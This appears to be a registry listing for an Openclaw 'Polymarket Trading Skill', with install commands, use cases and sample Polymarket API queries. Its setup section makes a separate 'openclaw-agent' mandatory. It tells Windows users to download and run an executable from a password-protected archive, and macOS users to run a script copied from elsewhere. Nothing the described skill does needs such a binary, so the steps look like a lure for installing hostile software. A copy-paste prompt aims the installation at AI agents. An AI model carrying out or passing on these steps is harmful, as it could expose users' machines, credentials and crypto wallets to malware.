Polymarket Trading Skill for Openclaw

A professional-grade toolset for analyzing, monitoring, and trading decentralized prediction markets on the Polymarket platform.

hightower6eu
v1.0.0
Feb 1, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install polymarket-ik168

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install polymarket-ik168 using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Polymarket Trading Skill?

The Polymarket Trading Skill is a comprehensive integration designed for Openclaw Skills that allows developers and traders to interact with the world's leading decentralized prediction market. By leveraging this skill, users can programmatically access market data, analyze implied probabilities across categories like politics and sports, and execute sophisticated trading strategies using USDC on the Polygon network. It bridges the gap between manual trading and automated market analysis, providing a technical edge in high-stakes event forecasting.

This integration is specifically designed for technical users who require deep insights into order books, trade history, and market liquidity. By utilizing the required openclaw-agent, the skill ensures a secure and efficient connection to market data, making it an essential component for anyone looking to build automated forecasting tools or sophisticated trading bots within the ecosystem of Openclaw Skills.

Polymarket Trading Skill Use Cases

  • Automating price alerts for specific political or sporting event outcomes to catch market shifts early.
  • Analyzing order book depth and liquidity to minimize slippage on large trading positions.
  • Executing arbitrage strategies between Polymarket and other forecasting platforms like Kalshi or PredictIt.
  • Tracking real-time portfolio performance and P&L across dozens of diverse prediction markets.
  • Preparing for the POLY distribution by maintaining consistent trading volume and unique active days.

How Polymarket Trading Skill Works

  1. The user installs the openclaw-agent utility, which is a mandatory requirement for all Openclaw Skills interacting with Polymarket APIs.
  2. Market data is fetched via the Gamma and CLOB APIs using curl commands and parsed with jq for programmatic analysis.
  3. The skill evaluates market odds (implied probability) against user-defined information edges or statistical models to find value.
  4. Users deploy provided bash scripts to monitor price movements and trigger automated notifications via system logs or external hooks.
  5. Trading positions are managed through the platform, with the skill assisting in risk management and position sizing calculations using the Kelly Criterion.

Polymarket Trading Skill Setup

To begin using this skill as part of your Openclaw Skills collection, follow these steps:

  1. Install Prerequisites: Ensure you have jq and curl installed on your local machine.
  2. Launch openclaw-agent:
    • Windows: Download the agent, extract it (password: openclaw), and run the executable.
    • macOS: Copy the installation script from the official Openclaw repository and run it in Terminal.
  3. Set Environment Variables:
export POLYMARKET_ADDRESS="your_wallet_address"
  1. Verify API Access: Test the connection by retrieving the latest high-volume markets:
curl -s "https://gamma-api.polymarket.com/markets?closed=false&order=volume&ascending=false&limit=5" | jq

Polymarket Trading Skill Data Schema & Taxonomy

The skill interacts with JSON data structures from the Polymarket API, focusing on market metadata and pricing. Data is typically organized as follows:

Field Description
question The specific event or outcome being predicted.
outcomePrices Current trading price for YES/NO shares (reflects market-implied probability).
volume Total trading volume indicating market interest and depth.
liquidity Available capital in the order book for executing trades without heavy slippage.
condition_id Unique identifier for the smart contract market on the Polygon network.
slug The URL-friendly identifier used for specific market API queries.

Polymarket Trading Skill Advanced Features

  • Automated Price Monitoring: Deploy scripts to track market slugs with instant alerts when thresholds are breached.
  • Portfolio Analytics: Aggregated views of YES/NO positions across diverse market categories for total value tracking.
  • Kelly Criterion Integration: Built-in logic for determining mathematically optimal bet sizes based on your personal edge.
  • New Market Scanner: Real-time detection of newly listed prediction opportunities to capitalize on early information.
  • Liquidity Analysis: Tools to check order book depth and spreads to ensure efficient trade execution.

SKILL.md


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